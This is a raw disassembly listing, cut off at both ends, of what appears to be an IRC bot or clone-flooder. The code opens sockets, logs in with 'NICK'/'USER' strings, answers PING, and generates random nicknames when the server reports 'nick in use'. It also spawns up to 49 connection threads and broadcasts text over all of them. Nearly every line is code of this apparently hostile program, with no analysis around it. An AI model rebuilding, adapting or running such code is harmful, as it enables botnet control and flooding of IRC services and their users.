var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D46B8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	dword_427148	; GetProcessHeap
		push	eax
		call	dword_427144	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3CA0
		mov	edi, 200h
		mov	esi, offset dword_4D32A0


loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D46B8
		add	eax, eax
		push	eax
		push	dword_4D46C0
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D44A4
		mov	eax, dword_4D46B8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4


loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0


loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694


loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0


loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1


loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D34A0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438214
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------


loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D34A0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438264
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		call	dword_427148	; GetProcessHeap
		push	eax
		call	dword_427140	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6B4	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB634	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB674	; inet_addr
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CB6B8	; gethostbyname
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5DC	; connect
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB6CC	; closesocket


loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------


loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi


loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A06C ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D46CC
		pop	ecx


loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CB684	; send


loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DADEC
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42D0F4 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------


loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_438E78
		jmp	short loc_417885
; ---------------------------------------------------------------------------


loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_438E74
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3


loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_438E68


loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send


loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax


loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D46D4[esi]
		mov	dword_4D46C8[esi], edi
		push	dword_4D48D4[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D46CC[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D46CC[esi]
		call	dword_4CB684	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D46CC[esi]
		call	dword_4CB64C	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996


loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------


loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D46CC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------


loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D46C8[esi], ebx
		mov	esi, dword_4D46CC[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB6CC	; closesocket


loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8


loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D46C8


loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DADE8
		jl	short loc_417A78


loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D46D4[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D48D4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D46C8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71


loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4385B8[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------


loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_4382B8[edx*4]


loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3


loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D


loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_4385B8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC


loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------


loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC


loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------


loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------


loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8


loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------


loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h


loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------


loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax


loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; sub_4101FC+F4p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------


loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7


loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2


loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0


loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1


loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]


loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4


loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx


loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi


loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx


loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
